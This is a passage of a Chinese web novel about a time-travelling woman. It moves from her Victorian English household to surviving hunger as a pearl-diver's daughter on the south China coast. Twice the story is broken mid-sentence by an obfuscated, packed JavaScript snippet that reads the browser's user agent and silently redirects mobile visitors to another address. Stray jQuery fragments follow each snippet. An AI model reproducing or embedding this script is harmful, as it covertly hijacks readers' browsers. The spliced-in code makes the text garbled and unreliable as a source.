“我们应该进口更多的谷物,而不是为了维持贵族的生活水平让国民挨饿!”不少激进的社论乃至集会开始猛烈攻击谷物相关的法律。
“面粉还会涨价吗?”梅丽尔以及大部分人只关心这一点。
“如果大量进口便宜粮食,谁还继续种地?”庄园主们开始揪头发。灾害让他们筋疲力尽,进口粮食的威胁让他们开始考虑是不是去种玫瑰花什么的,要不直接种牧草放牧得了,毕竟进口羊毛并不便宜,进口牛奶更是不可能,与粮食的悬殊价差完全不同。
“这样还需要我们和我们的孩子吗?一个庄园只要几个牧羊人、挤奶工就行了吧,屠宰也可以临时雇人啊!”
佃农们开始为生计发愁的时候,苏茜买到了大米。
白净纤长的南亚大米,就是这里的炉灶不太好烹饪。为此,苏茜跑了不少地方,终于买来好几种锅,尤其是陶锅。她对古老的煮饭技巧不是很精通,所以亲自试验了好几种做饭方式,最终发现陶锅土豆胡萝卜牛肉米饭最简单——老式炉子搞火候问题是个很麻烦的事,还不如一开始就用小火煮到水收干食材变熟就行。
梅丽尔现在也喜欢这种方式了,特别方便,可以省下时间和助手们一起拆洗晾干被套和擦拭那么多玻璃窗,再给太太煮一壶薄荷咖啡。露台上有不少花盆,里面种了薄荷叶。最奇怪的是太太居然喜欢直接扯几片薄荷叶冲洗下就加到咖啡粉里一起煮——只加牛奶不加糖。更不要说每天不一样的茶饮,让这栋不爱接待客人的房子在这个镇子上显得有些格格不入。
“艺术家总是与普通人不一样的,尤其是女艺术家。”
“我听说最近罗西诺太太画的一幅画花了整整八个月时间,每天在画架前画六个小时,连午饭都经常不吃!”
“天啊,那是不是能赚很多钱?”
“嗯……听说……不久前卖掉的那幅,到手连四百镑都不到!中介、画廊、拍卖这些赚走不少。”
“这么少?!”其实不少了,她和丈夫两个人一年也就一千多收入,还有三个孩子和七个仆人、一个家庭教师要负担呢。
“是啊,难怪连下午茶都不出来,更不用提舞会了。我之前就知道,她不卖画的话,每年收入应该也就一百镑左右。”
“那样的艺术家,不会有男人想请她跳舞的吧?”
“对,束身衣都不穿,也不化妆打扮打扮。”
“她是不想再婚,所以关上门自顾自的吧?”
“应该是,这些年她雇佣过的女仆也没有一个人说她有情人什么的。难道是通过那个住家的女仆?不过那个女仆年纪也不小了吧?!”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17045820|193506||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“……”
“……”
大小起居室、跳舞厅、咖啡馆和小包厢里,最受欢迎的就是探听别人家的“秘密”。苏茜的不交际无法满足大家的窥伺.欲,那么只能靠猜测——都是基于苏茜“有意无意”放出去的消息,过段时间就放点“新鲜的”,尤其是跟钱有关,毕竟在大家眼里,她现在已经是“中年女性”了,即使她根本不觉得。
* * *
起居室里的苏茜是放下报纸。
英格兰这里根本不会去管爱尔兰的□□饿死多少人,确切的说大家都是各扫门前雪,只要不是自己或重视的亲友饿死,其他人如何与自己何干?也就是谈资罢了。最要紧的是自己在爱尔兰的土地出产能不能换成钱。倒是很多各种“学家”开始深扒这种土豆“疾病”,还有研究人类在缺乏营养乃至基本食物的情况下会出现什么病症之类。
那边大量饿死与逃亡北美是事实,谁也改不了。何况,人口在短时间内大量猛增从来不是好事。
她老家死起人来比爱尔兰恐怖多了。光她自己经历过的旱灾水灾蝗灾加起来估计超过五百万人因缺少食物、净水而死亡,这还不算战争的损耗。
还是研究咖喱料理吧!
庆祝她终于买到了咖喱!对于本地不阉的公猪肉、不去腥鱼肉,还有不少腐臭味的“美食”,她已经不想说什么了,只能全部自己来。
于是梅丽尔的新一批投稿就是这些亚洲进口的食物。主要就是大米相关料理,三个月里写了十四份——不是刻意吊人胃口,纯粹就是得先试验做法和味道然后再写下来。
“对,中午吃咖喱土豆牛肉大米。”
“我们晚上还是吃鸡肉沙拉?”
这道菜在女仆们的口口相传后在镇上流行开来。尤其今年的冬天经常下雨,特别湿冷的季节里吃一份带着独特辛辣口感的异国大米食物,成本价格和烹饪难度也不高,只要试几次做法就行。也因此,梅丽尔拿到的稿费高了一些,更接近专栏作者的价格。
倒是另几篇讽刺文章引起苏茜的注意。美国那边“也”开始用□□麻醉,还有人妄图申请专利,然后被伦敦大加嘲笑,甚至还上了专业期刊。因为伦敦很多医生都这样做了——没有专利,只有第一个这样用的可敬的全科医生。苏茜认为自己总算对这个世界做了件好事,起码带来了好处还减少件恶心事。
“吃酸的,热的,甜的,都会酸痛?”蛀牙到牙神经了,没有根管治疗很难解决,要知道龋齿不好好治疗光是牙疼就可以要人命,更不要说真的会引起死亡。“估计牙医也就是拔牙?好在现在有好的麻醉方法,不会活活痛死。”但拔牙导致的感染会引起高热甚至死亡,个别还可能因为体质问题出血不止,最尴尬的可能是麻醉过程中被出的血呛死……“大家一定要注意保护牙齿!”
牙不好确实会要了人的命。
梅丽尔和女仆们拼命点头。看雇主一口整齐白净从来不疼的牙齿,对比自己的大牙,就知道区别有多大。
边境出了问题,欧陆也出了问题。
因为苏茜看到了普鲁士的铁血宰相的名字。能让市民们看到的变化肯定是大新闻,看到的人物肯定也是大人物。这位未来统一德国的人现在去了法兰西……行吧,巴黎那边可能又要革.命了,虽然与普鲁士人无关,但未来的拿破仑三世是不是已经跑出监狱了?这位路易-波拿巴还当过几年的总.统,也不知道那些交了大笔税金的有选举权的人是怎么选上这位要复辟的人物,或者因为不想去选听都没有听过的人物?
苏茜再一次感到自己收集的“详细”通史太没用了,倒是满脑子的历史八卦跟小故事还能派点用场。
尤其是她在六月高温中被泰晤士河臭得差点倒地的时候。
三十八度?她偷偷看了眼偷渡出来的温度计。太阳底下当然是热的,可这种温室气体引起的高温怎么会出现在一百多年前?哦,不,测量温度是离草地一米高的木头小棚里测的,不是太阳底下可以煎熟鸡蛋、晒伤脸蛋的水泥地。
可现在也不是水泥地面的温度……不要纠结是不是温度计因为时间太久出了质量问题。她拿了东西也不逛了,急急忙忙叫镇上雇的车夫立刻就回去——尽管来的时候已经包含了回程的空车费,她还是会额外付回程车资的。
“天哪,这味道!”本地车夫忍不住庆幸自己不是贵族车夫不需要穿一本正经的制服,不然今天能在这可怕的臭气和炎热中窝囊地死掉。
“是啊,这味道!我们镇上好像没有这么热?”
“是的,太太,伦敦确实太可怕了。”
苏茜关上车门,擦汗。车夫身上的汗馊味也够呛。自己身上的也好不到哪里去。
晚上的时候,苏茜开门回家,将拿着铁钳打算看是不是盗贼的梅丽尔吓了一跳。
“上帝啊,太太,你不是说明天到家吗?”
“是的,但伦敦太可怕了,比镇上还要热,而且臭气熏天。你不用管我,我冷水洗下就好。哦,你睡觉热不热?不行可以去阁楼,开着露台的门,可能好一点。”
“谢谢。有窗纱和铁窗栏,我开着窗睡觉,不是特别热。”难为太太将两人睡觉的卧室窗户进行改造,可以打开一半,再全部加装了一层昂贵的窗纱,又钉上保护玻璃和防盗的窗栏,不然今年夏天可能都过不下去。至于冬天,太太大方地让她用烧壁炉取暖和烘干衣被,即使窗户漏风也无所谓。“这栋房子比之前我们在城里的那栋好不少。”
“是啊,交的窗户税真的值得。现在才六月已经热成这样,未来几个月还不知道会如何……去睡吧!”
“晚安,太太。”
“晚安,梅丽尔。”
能离开伦敦的人家全都跑出来了。但很多议员还有官员们压根跑不掉,只能生生硬熬着。
……
“搞不好会通过整治河水的预算呢。”连女王都那么惨。
“跟我们没多大关系。”岛上的六月很舒服,晚上还需要盖个薄毯,所以苏茜睡眠挺好。“那应该只对泰晤士河。”
“哦!”于己无关?那就算了!反正自己这边距离河水不近。
苏茜让两个普通女仆午饭后就回去休息。她们两个眼底青黑,看上去就没怎么睡好觉,不过午餐的胃口并没有受影响,将鸡肉虾肉水果蔬菜沙拉和苏茜版咸味奶酪牛奶鸡蛋卷吃得干干净净一点没剩。
除了奋笔疾书记录菜谱做法的梅丽尔,坐在露台的爬藤遮阳架下,边喝玫瑰薄荷茶边看书的夏日午后还不错。
27.疍民没饭吃(一)
“你要听兄长的话,好好照顾你弟弟,绝对不许贪吃知道么,一定要让兄长吃饱……”
年纪其实不大的妇人只有叫女儿不要“贪吃”的时候才会跟她说那么多的话。
然后她就拉住长子的手絮絮叨叨交待“遗言”。在“自己”的记忆里,这是这位妇人第十二还是十三次说自己要不行了?
虚岁十五还是十六居然还没被卖掉的大妞-苏茜面无表情地离开船舱。
该去哪里弄点米呢?
应该说,该去哪里弄点给自己吃的呢?
“喂!贱.人!去做饭!在这里偷懒是想死啊?!”一个十二岁的少年出来,冲着她就是一巴掌。
贱?
苏茜一巴掌打掉少年的手,另一掌狠狠给对方一记耳光。“混账东西!以为自己是官身?被人听到了一顿鞭子!你想死不要拖累全家!你搞清楚自己是甚身份!……”
苏茜滔滔不绝地骂着。他们其实类似官奴,被吏人或士兵杀了也不会有人说什么。
“说甚?”一个十七八的青年皱着眉头出来。
“这混帐小子,学了岸上吏人的口气说话,这神态被人看到不被打死才怪!”苏茜抢先告状,将弟弟纯粹是欺凌姐妹的态度说成是不学好,将小儿子脾气说成是心思太大。“……我们就是一群奴,活一天是一天,你觉得自己有本事就去当兵去,到时候把我们都砍了我也没有二话。”
“好了好了!去做饭吧!”大郎也不知道怎么回事,这个本来忍气吞声做得多吃得少的妹妹前几天突然像变了一个人,脾气非常古怪不说,还能一讲讲足足半个时辰,听得他们脑袋疼,也不知道她那么些道道是哪听来的。她这么能说,怎么没办法把自己嫁出去给家里赚笔彩礼呢?!
“没米!做什么饭!这死小子光说不练,还自称是男.人,捕鱼不会,捞珠不会,驾船不会,讨饭都不会,光吃白饭要我养?你又不是我儿子,得意个什么劲的没用东西!吃白饭的玩意!”苏茜愤愤地将手里的木勺狠狠敲过去,将那少年打得哇哇叫。
大郎完全不明白为什么这个妹妹突然翻脸。最重要的是她怎么知道打人的?平时不都是二郎打她的吗?
苏茜很清楚,自己是真的打人,会让对方在未来一段日子都记得。
“哼!没用的东西!没用的男人!吃的都弄不到还自以为了不起的混账!”她将周围船上的方言骂腔段子一股脑倾泻出去,将兄弟两个骂得目瞪口呆。然后转身去摘缆绳。
“你要去哪?!”大郎好半天才问出口。他平生第一次知道妹妹嘴皮子那么可怕,都可以参与跟对面船民社的骂战了。
“米呢?”苏茜狠狠道。气死了,叫她干活,叫她打鱼,叫她去为全家服役还不给吃的!
“……”米,怎么可能给妹妹吃。“你去弄些鱼回来做饭吃。”
“哦,我还是吃水草,你们吃肉?呸!我去讨饭!”这个身体去讨了多次饭。说是米饭,其实这家的女人都没怎么吃过正经大米或是完整的谷物,弄来的都被男人少年们拿走了,连渔获都只能捡了鱼骨头抿点碎肉,严重营养不良导致这个身体至今没有行经。
苏茜一身补丁摞补丁的破衣服,光着脚,划着风一大就翻的小船离开了“家”,他们家就是一艘稍大些的船。她出生至今都没有穿过鞋子。
其实,她家不是真正疍民,而是山民后裔,不过曾祖那一辈被弄来这片产珍珠的海湾就是珠民,接近奴隶的存在,在陆地上根本没有立足之地,只能用收获去交换些生存必需。
如果不是地理位置靠南,冬天并不寒冷也少有大风,他们早就死在海里了。
小船慢慢划过周围零星的船只,驶向陆地,但去的不是靠近港口的地方,而是无人礁石滩。肉眼之内无人。她继续靠近礁石,然后连船带桨加撑杆,一起去了岛上。
久违了!
我的岛!
要不是一股气支撑,她这个瘦弱饥饿的身体早就趴下了。
翻了翻自己的“收藏”,她找出一罐好蜂蜜跟一罐糖。但愿还能吃吧。
如果严重变质,死了也不错,换个能吃东西的世界!
她抖着手,好不容易打开密封盖子。
好像,好好的?
她用脏兮兮的手抓了糖塞进嘴里。不干不净吃了没病。嗯,放了二十几年的冰糖,好像没有变成毒.药。
再将蜂蜜直接嘴对嘴吃。蜂蜜,就是可能时间“有点”久,似乎甜得有些发脆……反正是能摄入的能量,再不吃她就要活活饿死了。
绝望地饿死的滋味真不好受啊!
她趴在地面上咳了会儿才回过神,然后爬了几步来到滤水池边。这个小小的露天水池铺了大量滤材,而且在五六厘米的位置有出水口,应该不会出现若干年没换过的生水吧?不管了,她快渴死了!海水又不能喝,她今天都没有被允许喝淡水!见鬼,那一家子是想慢慢折磨死自家闺女吧?
苏茜趴在水边灌了个水饱。
缓了好半天才抬头打量若干年没来的小岛。
岛上的火灵木已经长到三米多。得砍了,不然肯定会倒,然后被风雨冲到海里消失不见。哦不,先得生火。煤?炭?木头?
她找了下,将目测还能用的木炭装入在“古老”的清洁阵法里保存得不错的铁炉,火柴,划了六根才点燃一些破烂的纸张。还有最外面的几块煤也扔进去。
在火焰完全熄灭前,质量很一般的煤居然先被点燃了。
苏茜轻舒一口气。塑料制品已经全部成垃圾了,但很多布料还好好的。她拎不动木桶,拿了块布和一把匕.首走去海边。很多年没有赶海了,礁石上的牡蛎密密麻麻,很小的一块天然礁石沙滩上肉眼看过去都有不少食材。
感谢老天,现在是退潮时间。
花了大概一个多小时挖到不少吃食,装到布块里背回去。岛上温度比现在外面的地方低,秋风吹到湿漉漉的衣服上挺冷的。要不是这个身体挨饿受冻惯了,光着凉就可能要了自己的命!
很久很久以前的不锈钢锅子,以及可能有三十年左右的铁锅跟陶锅,加上氧化严重的银质筷子叉勺壶盘……看上去都还能用吧,只是似乎只有陶锅盖能用,其他盖子都不太行了。
她抓起不锈钢锅去水渠里清洗。水渠有些破旧了,但用起来没问题,干净不干净的就这样吧!倒上水,将大把小海鲜和两只螃蟹一条小鱼一起扔进去煮。然后再去清洗其他的锅和杯碗之类。餐具都是陶瓷的,洗了就能用。还有,岛上的少量野菜似乎也能吃。
她研究了下岛上的绿草,应该都是无毒的,掰下来洗洗也扔锅里。还有两个比土豆差远了的小茎块也都拔出来。又冷又饿的她翻出来一件呢大衣和一条绒裤匆匆换上,又点燃第二个炉子取暖,然后就开始捞出来有些苦涩的野菜叶子嚼了吃。没有吐沙,没有去腥,没有调味,连同滋味不太美妙的野菜,都被苏茜根据熟的时间顺序捞出来吃掉了。
有了这些蛋白质、膳食纤维和淀粉,她感觉一时半会死不了了。
钟表都停了,时间应该已是半下午。
苏茜一边回去衣柜找衣服,一边将草草洗了下的补丁破衣铺在暖炉边慢慢烘干。炉子没有熄,在小火烧水。
换上一身破烂的皮质衣裤,拿了工具披着大衣往海边走。外面的世界一时半会去不了,因为她的“家人”可能会来找她,那段海岸也没什么出产可以吃。在没有主食、蔬菜供应的时候,她得吃海岛能有的东西来维持生存。
将大衣扔在一块石头后,苏茜将“大码”木鞋用皮绳绑在小腿上,一手攥着网兜、一手握住鱼叉踏入海水中,认真寻找食物。
在天黑之前,她弄了七条大小不一的鱼和一只不大的鱿鱼,还有一只比较大但估计肉不多的螃蟹。这几个小时直接耗尽了之前吃下的能量,她筋疲力尽地拎着简单处理过的渔获回炉子边,将两条其实没有处理干净的鱼以及还在动弹的鱿鱼跟螃蟹扔进半锅的滚水中,还找出来几十年前的精盐和土豆酒以及野菜——应该不会被毒死——加进锅里。
苏茜觉得几百年了都没有吃过这么好吃的自家“特产”。也许是饿的时候吃什么都好吃,尤其是海鲜极其新鲜,本身的腥味不是特别重,所以将鱼肉吃完、汤也喝了不少之后,整个人好像活过来了。
其余的海鱼因为没有及时养在海水里都死了。算算时间和温度,苏茜扔在一边没有理会,只是用生锈严重的火钳夹了还在烧的一块木炭和一块煤到花园小屋里的暖炉中。屋子同样有个清洁阵,上辈子还漆了几遍,换上好家具。
火灵木做的被子现在只能当床垫,亚麻床单旧得不行但用着没大问题,毛毯硬邦邦的明显不太行了。
这个年代有棉花被,有管理太监,所以并不“古老”。
但,没饭吃就是没饭吃。要么人命换珍珠,要么不准采珠还不让船民上岸营生,实际上就是将这些民众当成物件:用的时候用,不用的时候就去死。而岸上的盘剥也越发严重,导致饥饿的范围在扩大。这几年自己可以感觉到某种情绪在船民中酝酿。打一场,死些人,应该是即将出现的事件。
苏茜继续加有些年代的煤块。煤真是好东西啊!她叹息着,洗手,躺下,在温暖的小屋里睡着了。
岛上的秋天雨水挺多,应该说四季雨水都多,只是夏秋更多。外面果不其然在下雨。苏茜拿出来老式带帽雨衣——硬邦邦的很不方便,但总比淋雨强——拿着售价六镑的硬木柄斧子去砍树。斧子的质量真心不错,这么多年后照样能砍倒坚硬程度堪比花梨木的火灵木,就是一个上午只能砍一棵,砍完了饿得四肢发软。
将昨天剩下的鱼都吃掉。下午继续捕鱼,割海带。
可自己不可能一辈子吃海带烧海鱼啊!
苏茜觉得自己打开了一个海岛求生副本,比如盐,得从海盐精炼开始。比如燃料,勉强能用个五十年。比如衣服,不可能一直穿几十年前的毛料衣服。
对着补丁乞丐装,苏茜手里拿着十几块褪色棉布料子发呆。
完全看不出来衣服样式怎么办?
她努力回想着看到的周围人的服装,大部分都是补丁破布,不少还是流苏款。母亲唯一一件体面的衣服也是一块布一披,布带一系……不对,是有宽袖的。
这次她找回了些力气,来回跑了三趟,将带壳小海鲜和半死不活的海鱼都养在水桶里。呃,木桶中间破了,所以只能存半桶水。她很想写个购物清单,可惜墨汁都干了,毛笔钢笔羽毛笔统统成了垃圾,白纸铅笔却还能用。
服装剪裁书呢?找出来翻翻那些脆弱不堪的纸张,图案已经不太清晰,但大体上还能分辨。苏茜根据推测找了几种上衣出来。裙裤处理还算简单——船上女子们有的裙,有的宽腿裤,有的裙裤,最后苏茜选了周围不少船女穿的裙裤,外面裙里面长裤或中长裤。
裁剪刀和针线都在一起,只是棉线丝线羊毛线都有些脆了,一用力就扯断。可联系船女的身份,好料好线才不正常。
纯银会发黑,上辈子她主要弄的是金币之类。只有两块银砖和严重过期的酸液,不知道能不能解决掉银表面的氧化部分。
吃了十顿海鲜海带野菜汤,苏茜终于将衣服都做好,再弄出来能吃的普通细盐和可以交换的粗盐,这段时间炭火熏好的鱼肉,还扔掉一大堆真正的垃圾。
没有鞋子。整块木头雕出来的木鞋没法在外面穿,其他几双还能穿的皮革鞋子也不能穿出去。
换上好几层衣服,带上船和熏鱼肉出去。
没人。
这里不是港口,没有出产,她一路划船沿着海岸线向东,下午的时候转过一个石崖,前面有村庄。找个浅滩搁了个浅,然后将船和船上一切都放到岛上。即使是个经不起任何风浪的小木船,也是她目前唯一的交通工具了。总不至于让她光着脚跑上十几里的路吧?
她可怜的,满是青紫和茧子的脚。思考半天,她找出来一双皮革面木底的异域风情系脚拖鞋——零售价超过六镑的进口货,就这样被当成草鞋替代品。另外几双木屐虽然便宜,但一眼就可以看出是什么,所以没法拿出来。
在沙子、泥土、杂草地里走了半里地后,这双拖鞋怎么看怎么糟糕,根本不会有人蹲下去认真研究那是什么材质的。
这个村子很小,但颇为整齐,可能更像个庄子。苏茜走了一大圈,找了名打扮整齐体面的妇人打听谁家有多余的鞋子衣物和粮食,以及女子用物。
对方听得出苏茜的口音和衣着,但是对方的衣着虽然颜色有问题,但没有补
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17050610|193506||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
丁,脚上的鞋子似乎还是木头底的,这就让她有些把握不准。他们庄上也算是经常与船民打交道,不过有时其实是为了海珠的私下交易。“我们庄子上的粮食不多,有的还是精米。”
“没关系,我有些碎银,而且我们只买一小袋米。”
“我家就有。”妇人不知道想到什么,点头示意苏茜跟上。
“……我和弟弟是分家出来的,不过我们只有一条小船,不能离开岸边太远……”家世问题,苏茜张口就来。最后她用一个足有相当沉但看上去有点年头的素面金镯子以及一袋碎银买到了这名妇人家所有能卖给她的东西,包括一条只能去近海的七成新小船。
妇人的结论是,八成这个小姑娘家祖辈干过无本生意,只是到了这一辈不做了,不然不会买这么多便宜东西。
妇人和妯娌以及长子帮着苏茜一起将船和货推下水,然后目瞪口呆地看着她无视海上暮色照样划了船向海里去。
甩开各种念头,夜色降临时她回了岛上。
现在她有两条船了,还有满满一船的生活物资。半新的男式女士棉衣单衣夹衣草鞋布鞋针线棉絮棉布被褥和全套下海的衣服,梗米糯米绿豆黄豆红薯干跟油盐酱醋茶。真奇怪,这家人期间没有任何不诚信的行为,尤其是这家看似平民家庭居然有这么多“富余”的东西,应该不是做渔民或是普通小生意的。尤其那一包茶砖,是买船的添头。
这里附近肯定有家族用来暗中贸易的港湾,或者有个海岛作为中转,大船换小船运进来,再拿了补给运出去。另外这里的贸易路线不止往南,还可能往北,看茶砖和起码三四年但使用次数不多的厚实棉被,这种真不像是低纬度地区平民用品。
还有手纸,这绝对是城里大户的配置。
卖主家也在讨论这位挺特别的买家。
“那小姑娘肯定吃过苦,都是茧子伤痕。不过,这出手也属实大方。”还有穷人花钱买手纸?
“也可能是替人采买。”没见到晚上了还敢往海里划船,肯定海上有大船又不想引人关注。
“这镯子,什么都看不出来……首饰铺会卖这种东西吗?”工艺如此差,会不会是自己铸的?
几个人都是有眼力的人,各个都能脑补出来一场声光兵匪大戏。平时海边生活要么惊心动魄、要么单调乏味,一点事情可以作为好几天的谈资。
完全不知道此时的苏茜走路走得腿都快断了。
她绕了一圈,重新换个地方上岸。找木头。
首先,这个身体是真不行。
其次,海边的无主林地相当少见,应该说压根没有,得继续往陆地走。没有导航和卫星地图,当地方言对同一个地方甚至有不同的说法,有的压根还是两种发音系统,所以她走了四天,估计能有一百多公里泥土石头荒草丘陵地貌,然后爬山。
上山当然没路。有小径的都是有主或是经常有人走的。
她边观察边选择枝叶丰茂的树砍了收走,还挖些看上去不错的腐殖质泥土装到路上看到后收起来的破瓦罐里。这砍树也是砍了四天,将路上买来的蔬菜全吃光了。再下山去找集市。
这一走又是十几公里,走得两条腿都不是自己的了,才一路寻到靠近一个小集市。
没到赶集的日子,但周边不少人家也是做点小生意的。
她买到蔬菜和一袋种子,半旧的劈柴斧子和一大一小两只背篓,一堆粗棉布料子,棉布袜筒,还有一打比自己的脚略大一指的布鞋、半打做工有些粗糙的草鞋和三双本地常用的雨天和滩涂上穿的木屐,还有辣椒和调味料若干。
“阿妹,这个送你。”对这个一口气将自己卖的鞋袜全部买走的娃,快五十岁的老太太笑出了黄黑凹凸还少了几颗的牙。她送的是一根短皮绳,长度无法做腰带,颜色也丑得无法系头发,之前苏茜买了好几根长的,这条短的就送了做添头。
“谢了。”苏茜一点不客气全拿。她岛上的东西大部分都成了垃圾,正什么都缺。哦,还有打火的燧石,桐油,蜡烛木板锤子钉子笔墨纸砚还有历书等等。这地方整体都没有煤。苏茜跑了快一个月,才将能买到的东西都买齐了。她没有进任何一座城,因为得查验身份,她没有。此外她也怕碰到乱折腾的太监官吏的会控制不住自己的手。
就这样在沿海各处转悠的时候,疍民作乱。
那些快饿死的人能乱起来?是不是搞错了!
苏茜一身没有补丁的棉布衣服和布鞋,打扮一点看不出真实出身,凌晨出岛打算买点生鲜,结果眼前是大家带了家当疯狂跑路的场景。
偷听半天,才知道官兵和疍民以及倭寇打起来了。
这真是……
待在一个暗巷里的苏茜决定多留两天看情况,拿出新买的旧梯子爬进一户院子,然后回岛。
晚上的时候再出来,这家人没回来,整个集镇无人声、无灯光、无犬吠。苏茜爬出院子,走在狭小的巷道,转到官道的途中,路边一具尸体。
光着脚,非制服,正常发型,估计是疍民亦或许海寇,挨刀中箭后爬了一段路才伤重死去。苏茜回岛换鞋拿木棍破布出来搜了下,先拿走死者的窄刀,这武器倒有些倭寇的意思。腰间有个沉沉的小袋子,割走。木棍再敲一下,刀划开,衣襟里又是一包东西,都用破布裹了带回岛。
先扔海水桶里,第二天天亮的时候将海水倒进水渠,将东西一样样检查。武器不太华夏,饰品银两很华夏。身为疍民后裔,她不想对同族说什么反对的话,也不会去同情这些作恶被杀的人,只能希望对方别抢到自己身上而死翘翘。
不算刀,这些东西大概值百两。
就是没有生鲜又要回归碳水海藻海带海蟹的日子,偶然还有虾蟹。尤其是冬天出海还碰到下雨,并不是多好的体验。现实里的温度高很多,可人多,近海没多少渔获,远一些风浪大、一个人很难捕到什么。所以想不饿肚子还是自己的海靠谱。
渔网渔叉捞网之类越用越熟练。包括烤炉也是。
打开陶盆的盖子,米饭、酱菜、海带干和新鲜海鱼。鱼肉略老,米饭略烂,去掉不多的长鱼刺和脊骨,拌一拌吃,加上一杯半发酵清茶,对自己的身体来说是非常好的一餐了。
再见,上辈子的美食点心奶咖奶茶。
28.疍民没饭吃(二)
打仗时间并不长,第二年春天之后就没怎么折腾,县民镇民村民渔民的生活逐渐恢复正常,今年的春茶正常上市、价格没见大涨或大跌,肉蛋价格也只是稍微高一点点。
就苏茜的概念,疍民“区区”万把伤亡不算太多,还没有因为饥饿导致的疾病死亡多,更没有倭寇导致的陆地平民伤亡破产伤害大。
沿海又不是临海镇子的生鲜和商品差不多。经过每个能买东西的街道集市村落,苏茜都会买点日用品、不常用的物品和药品等等,顺便看清楚店铺和摊位出产,然后记录下来。最后绘制一个简易地图,加几句当地特产方言发音。
还好自己是往东的,往西就是去交趾了。
不过,具体去哪呢?往东去半岛?或是往南去海之南的琼岛?
背着不算太重的背篓,在落霞的光辉里向海边走去。苏茜一边思考未来几十年的人生,一边警惕着周围。
她为什么这么拼命走,就是因为坏人有好多呢,不锻炼就丧失警惕心的!就像她上辈子年近七十、即使被普鲁士和法兰西的战争提前开打惊住了也照样干掉一个入室窃贼一样。
至于说此时此地肯定没有受过长时间武技训练的家伙,呵呵。
“这个小妮子还没长成呢,不过还是能卖几个钱的。”一个矮小汉子嘻嘻笑着,一只明显是干活的左手朝着她的脖子抓来。这三个人连脸都不遮,大概是觉得这没人烟的地方随随便便都能成。
“啊——”一只背篓被扔到他脸上,快得都没来得及躲。“臭丫头!你——”
噗的一声,一柄非常细的奇怪武.器刺入第二个人的胸膛,深入得不多但也足以让对方没法爬起来打斗。
第三个人拔刀的时间,苏茜冲到对方面前就是一通花式剑招。
矮小汉子的短刃杀到时,差点又被一只金属半球形砸到。他愤怒地用短刃挡开,喉咙就被一柄细长锋利的武.器划开。
苏茜的武技知识丰富、手头武器繁多,可肌肉经验很糟,所以还得补三剑。好在对方人多但菜。
收起尸.体,背起背篓,到了海边礁石丛,然后回岛上处理。扔掉垃圾,烧掉纤维,将本土的三柄短刀、一把类似峨眉刺的短刃,十几块碎银、一个完整银锭和百来个铜钱放好。
这些人穿得挺少的,居然只有一层夹衣和两层棉布。
不对。
苏茜突然反应过来。岛上的温度应该比外面的低,但现在,她几乎没有温差感觉。
所以,外面很冷?如此南方的地带,很冷?
她将蜡烛在油灯上点燃,找出温度计。岛上室外摄氏八度,离开岛,到了现世的海边,一点不觉得暖和,三分钟后温度计居然降到六度。
回到岛上,升到八度。
这是最冷的季节了吧?
她翻着今年和明年的历书,明天大雪。真有些想不起来之前的自己是怎么靠着破烂的层层单衣和旧被子熬过一个个冬天的。
花园小屋到山洞口的炉灶间有段有遮挡的走廊,不算年久失修,可以挡风挡雨,但因为不是密闭空间,并不保温。苏茜买到盖臀款棉衣但没买到棉裤,所以在自制的裙裤里加了一条买的夹棉膝裤,加上在走动,所以一路过来没有感觉到异常的冷。
或者说她早就习惯了湿冷的寒冬。
岛上在下雨,摄氏八度不算低,但并不比海风中的六度暖和。苏茜将腿搁在灶台边的方凳上,用烧水的炉火取暖。菜瓜豆角腊肉饭已经好了,一直放在小方桌上。
半旧不新的原木方桌和方凳是买船的时候一起买的,用料做工都不怎么样,但比在红木桌上吃饭感觉好些,因为滚烫的砂锅是直接放在放桌面上的,这些日子都已经出现了不少印子烫痕。
吃完东西,洗刷下锅筷,第二锅开水已经烧好。将炉火转为最小,检查山洞空间没有别的明火才端上开水,一半倒入木屋门口的浴桶里——为了买浴桶,她还买了辆木轮推车——另一半倒进边上的木桶,先用胰子洗涤长到肩下的头发,然后连头发一起浸到浴桶的温水里。
小屋里提前了两小时烧炉子,温暖干燥。苏茜从浴桶出来就穿了睡衣在屋里烘干头发。睡衣是自己做的棉布长袖长裙,缝线朝外的那种无外人版本。
屋外风雨交加,屋里没有点蜡烛或油灯。
苏茜在头发半干后,披了条毡毯开始修炼。
这个世界没有修士,但是可能修炼出内功的,所以她要努力成为武林高手!
早上起来,先醒面做两个芝麻葱油饼,再练武。练完将面饼放进烤饼炉,再去大个号,回来在炭炉烤架上煮壶茉莉菊花普洱茶,烤两个柑橘、几个白果和一把栗子,饼也好了。
炉子是上辈子定制的,自己弄围炉煮茶是那个晚年的自己最喜欢的冬季休闲。
那辈子后来的几十年颇为安稳,画个画,煮个茶,跟还不打算退休的梅丽尔一起指导雇来的厨娘做饭。所以她将房子捐赠给镇上开了二十年的慈善学校,三百镑公债的遗赠加上年金账户足以让梅丽尔安享晚年,而且外人知道的金额不至于让镇上人包括梅丽尔的侄子外甥动杀人的恶念。
可眼下一朝回到差点饿死的境地,真是……
中午和睡前练内丹,早上和下午练外功,规律了三天,将买的蔬菜吃完,各种容器栽种的蔬菜水果还没有到能吃的时间,所以她穿好衣服出门。
霜冻。
